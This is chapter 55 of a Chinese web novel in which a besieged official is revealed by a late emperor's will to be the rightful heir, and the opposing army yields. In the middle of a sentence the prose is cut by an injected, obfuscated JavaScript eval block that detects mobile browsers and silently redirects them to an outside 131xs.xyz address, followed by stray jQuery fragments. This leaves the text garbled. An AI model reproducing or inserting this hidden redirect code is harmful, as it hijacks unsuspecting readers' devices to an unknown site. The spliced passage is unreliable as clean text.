55. 第 55 章
作品:《从女匠到逆臣妻》 为首的将领手持东宫谕令,声音透过号角,冰冷地传遍关隘:“奉太子殿下令,谢氏督政谢覆舟,囚禁太子妃,意图不轨,实属大逆!今特来平乱,即刻交出太子妃,开城受缚,否则,铁蹄所至,片甲不留!”
消息如同炸雷,瞬间击穿了谢府表面维持的平静。
谢覆舟立于城楼之上,玄色官袍被猎猎江风吹得紧贴在身,勾勒出挺拔却孤峭的轮廓。他望着关外黑压压的军队,唇角勾起一抹冷峭至极的弧度。
囚禁?真是好大一口黑锅。他那位好堂妹,如今正被他严密保护在府中最深处的院落里,安安稳稳地“静养安胎”。
太子的刀,却已迫不及待地借这个名头砍了过来。
“督政……”身旁副将声音紧绷。
谢覆舟抬手止住他的话,目光沉静如渊:“慌什么。他要打,那便打。”语气平淡,却带着不容置疑的决断,“传令下去,闭城,备战。
所有私兵,依计行事,抢占沧江各水路要道,没有我的命令,一粒米也不许从水上运进平峡关。”
他倒要看看,远在朝都的太子,能支撑这支大军在远离补给线的沧江耗上多久。
命令一道道传下,谢府这座庞大的机器骤然高速运转起来,空气中弥漫着山雨欲来的压抑。
工匠被驱散,仆役行色匆匆,一队队身着谢氏特有服饰的私兵沉默地开赴各个战略要点。
扶登秦站在西院门口,看着外面截然不同的紧张景象,茫然地拉住一个匆匆路过的丫鬟:“发生什么事了?为什么大家都不干活了?”
丫鬟脸色发白,匆匆行了个礼:“姑娘,外面……外面要打仗了!您快回屋里待着吧,千万别出来!”说完便慌慌张张地跑了。
打仗?扶登秦的心猛地一跳。她下意识地想去寻谢覆舟,却被不知何时出现在院外的石岳拦住。
“大人,”石岳依旧用着旧称,眼神复杂地看着她,“督政有令,请您安心待在院内,无论听到什么动静,都切勿外出。”
“为什么?”扶登秦不解,心底那点关于“长大后的生活并不美好”的朦胧认知,骤然变得清晰而尖锐,“他呢?”
石岳沉默了一下,低声道:“督政自有安排。您……保重。”他深深看了她一眼,转身大步离开,背影很快消失在紧张的人流中。
扶登秦被一种无形的力量困在了方寸之地。她听着远处隐约传来的号角与骚动,坐立难安。那种被排除在外、无能为力的感觉,比她独自站在母亲院门外淋雨时更加冰冷彻骨。
对峙并未持续太久。
太子显然有备而来,并未立刻强攻,而是选择了另一种更能摧垮人心的方式。
次日清晨,关外军队忽然向两侧分开,让出中间一条通道。一座临时搭建的三丈高台被迅速立起,台上旌旗招展,竟是皇家祭祀所用的制式。
太子南宫昭铭的身影,出现在高台之上。他一身明黄太子服饰,在春日稀薄的阳光下格外刺眼。虽未亲临阵前,但他的代表、东宫詹事朗声宣读旨意,声音通过特制的铜喇叭,清晰地传遍关前:
“谢覆舟!尔囚禁储妃,拥兵自重,抗旨不尊,形同谋逆!今日本宫于此设坛,代天问询!若你尚有半分臣子之心,即刻释放椒映,自缚出降,或可保全尸!若再负隅顽抗,待吉时一到,天雷降罚,尔等皆为齑粉!”
“吉时”?“天雷”?
城楼上的谢覆舟闻言,瞳孔骤然收缩。他瞬间明白了太子的意图——根本无需强攻,太子是要借“天谴”之名,要么逼他投降,要么……直接将整个平峡关连同他和谢椒映,一起“名正言顺”地抹去!
好狠毒的心思!好周全的算计!
太子的代表在高台上焚香祷告,做足了仪式。台下兵士齐声呐喊,声震四野:“天谴!天谴!天谴!”
巨大的声浪如同实质的压力,冲击着平峡关的城墙,也冲击着城内每一个人的神经。恐慌如同瘟疫般蔓延开来,甚至一些谢府私兵的脸上也露出了惊疑不定的神色。
谢覆舟攥紧了拳头,指甲深深掐入掌心。他知道,所谓“天雷”,无非是火药埋伏。太子定然早已在关内某处埋下了大量火药,只等时辰一到,或是信号发出,便要制造一场“天怒人怨”的“神迹”!
可他即便知道,此刻又能如何?关隘之大,何处去寻那些隐藏的火药?时间,根本不够!
高台上的香炉青烟袅袅,东宫詹事抬头望天,似乎在估算着时辰。那无声流逝的每一刻,都如同重锤,敲在谢覆舟和所有守城将士的心上。
千钧一发。
就在那东宫詹事缓缓抬起手,即将下令的刹那——
“且慢!”
一道清朗却极具穿透力的声音,骤然从关内方向传来,打破了这令人窒息的对峙!
所有人循声望去。
只见一辆青篷马车在数名护卫的簇拥下,疾驰而至,稳稳停在高台与城门之间的空地上。
车帘掀开,一身素色深衣、风尘仆仆却依旧渊渟岳峙的公孙止,率先步下车辇。
他目光沉静,扫过高台,扫过城楼,最后落在那位东宫詹事身上。
然而,更令人惊愕的是,他并未立刻发言,而是转身,从车内小心翼翼地搀扶下另一人——
竟是萧春和!
“公孙止?”高台上的东宫詹事显然认得他,眉头紧锁,“你怎会在此?还带着这个罪妇?”萧春和被废黜、萧家失势,在朝都并非秘密。
城楼上的谢覆舟看到公孙止去而复返,还带着状若疯癫的萧春和,眉心亦是猛地一跳,完全猜不透他意欲何为。他不是应该……
公孙止并未理会那詹事的质问。他扶着看似浑噩的萧春和,向前几步,面向高台,也面向城楼,以及关内外无数双眼睛,朗声开口,声音清晰地压过了风声:
“太子殿下欲行天罚,臣,不敢阻拦。然,天道昭昭,赏罚自有其序。殿下欲定谢督政之罪,谓其囚禁太子妃、意图不轨。然,臣此处,有一人,一物,或可令真相大白于天下!”
他顿了顿,感受到无数聚焦而来的目光,继续道:“此人,便是萧氏春和。她虽神智暂失,然其所知之事,关乎国本!而此物——”
公孙止猛地从怀中取出一个用明黄锦缎严密包裹的长条状物事,高高举起——
“乃是先帝遗诏!与铁卷丹书!”
“什么?先帝遗诏?!”高台上一片哗然,那东宫詹事脸色骤变。
就连城楼上的谢覆舟,也瞬间屏住了呼吸,目光死死盯住那个黄绫包裹。
公孙止无视骚动,小心翼翼地解开黄绫,露出一卷略显古旧的诏书,以及一枚半尺长的玄铁铁卷,其上暗金纹路在阳光下流转着威严的光泽。
他展开诏书,运足中气,一字一句,如同黄钟大吕,响彻天地:
“奉天承运,皇帝诏曰:朕与皇后结发情深,皇长子乃朕之嫡血,承祧袭统,天命所归。然朕虑及社稷之重,奸佞之危,特命心腹忠臣,护皇长子暂避尘嚣,以待天时。此子身佩长命金锁,锁内藏朕亲笔血书与半幅江山图为证。见诏如见朕,拥皇长子正位者,即为护国功臣,朕虽崩,亦念其恩。钦此——”
诏书念毕,全场死寂。
所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297710|177254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有人的目光,先是震惊于诏书内容——皇长子?嫡血?正统?那现在的太子……
随即,无数道视线猛地射向城楼上那玄黑身影!
长命金锁!谢覆舟脚踝上那只从不离身的、据说是谢堰所赐的长命金锁!
公孙止收起诏书,拿起那枚沉重的铁卷丹书,声音更加沉凝:“此乃太祖皇帝所赐铁卷丹书,赐予公孙一族,可上谏天子,下察百官,遇国本动摇之非常时刻,可凭此废立储君,以安天下!”
他猛地抬头,目光如电,直射高台:“詹事大人!太子殿下!先帝遗诏在此,铁卷丹书在此!谢督政并非囚禁太子妃,而是保护先帝唯一嫡血、正统所归的皇长子妃!尔等今日兵围平峡,欲以‘天罚’加害先帝遗孤、国之正统,究竟是奉的谁的命令?是真要逆天而行,谋朝篡位吗?!”
字字千钧,如同惊雷,炸响在每一个人的耳边。
那东宫詹事早已面无人色,手指颤抖地指着公孙止,嘴唇哆嗦着,却一个字也说不出来。
高台后的营帐中,隐约传来瓷器碎裂的脆响——显然是太子已然暴怒失态。
城楼上,谢覆舟怔怔地看着台下那个高举遗诏和铁卷的身影,看着靠在他身边、眼神空洞却仿佛完成了某种使命的萧春和,再看周围将士们骤然转变的、带着狂热与敬畏的目光……
他下意识地摸向自己的脚踝,那枚冰凉的长命金锁贴肤藏着。
原来……如此。
原来姨母扶登岚当年那般竭力维护他,不止是旧情。
原来公孙止一次次看似超然实则步步为营的相助,背后是这份沉重的托付。
原来他挣扎、抗拒、甚至试图逃离的“谢覆舟”的命运之下,还压着另一重更庞大、更无法挣脱的……“先帝遗孤”的宿命。
“嗬……”他极轻地笑了一声,带着无尽的荒谬与苍凉。
台下,公孙止的话并未结束。他转向城楼,对着谢覆舟,亦是对着所有将士,朗声道:“皇长子殿下!臣公孙止,奉先帝遗诏,今日恭请殿下归位!拨乱反正,重振朝纲,此其时也!”
“恭请殿下归位!”
石岳不知何时已来到城楼,率先单膝跪地,嘶声高喊。
“恭请殿下归位!”
那些原本忠于谢氏的私兵、将领,此刻如同找到了真正的方向,纷纷放下武器,跪倒一片,呼声如同山呼海啸,瞬间席卷了整个平峡关!
关外太子的军队陷入了巨大的混乱和恐慌。主帅失声,士兵面面相觑,进攻的号令再也无法发出。
所谓“天罚”成了一个彻头彻尾的笑话。在先帝遗诏和铁卷丹书面前,太子的所有命令都失去了法理的基础。
高台上的东宫詹事,面如死灰,在一众“殿下归位”的呼声中,颓然地垂下了手臂。
胜负已分。
不费一兵一卒。
公孙止缓缓放下手臂,将遗诏与铁卷郑重收起。
他侧头看了一眼依旧靠在他身侧、眼神茫然的萧春和,极轻地叹了口气,用只有两人能听到的声音道:“……值得吗?”
萧春和空洞的眼神似乎波动了一下,依旧喃喃着什么,仿佛真的已经疯癫。只是那攥着他衣袖的手指,几不可察地,用力到骨节泛白。
公孙止不再言语,扶稳她,抬头望向城楼。
谢覆舟也正看着他。
隔着遥远的距离,隔着万千兵马,两人的目光在空中交汇。
复杂,审视,了然,以及一丝尘埃落定后的疲惫。
风卷过旷野,吹散硝烟味,只余下沧江永恒的水声,轰鸣不息。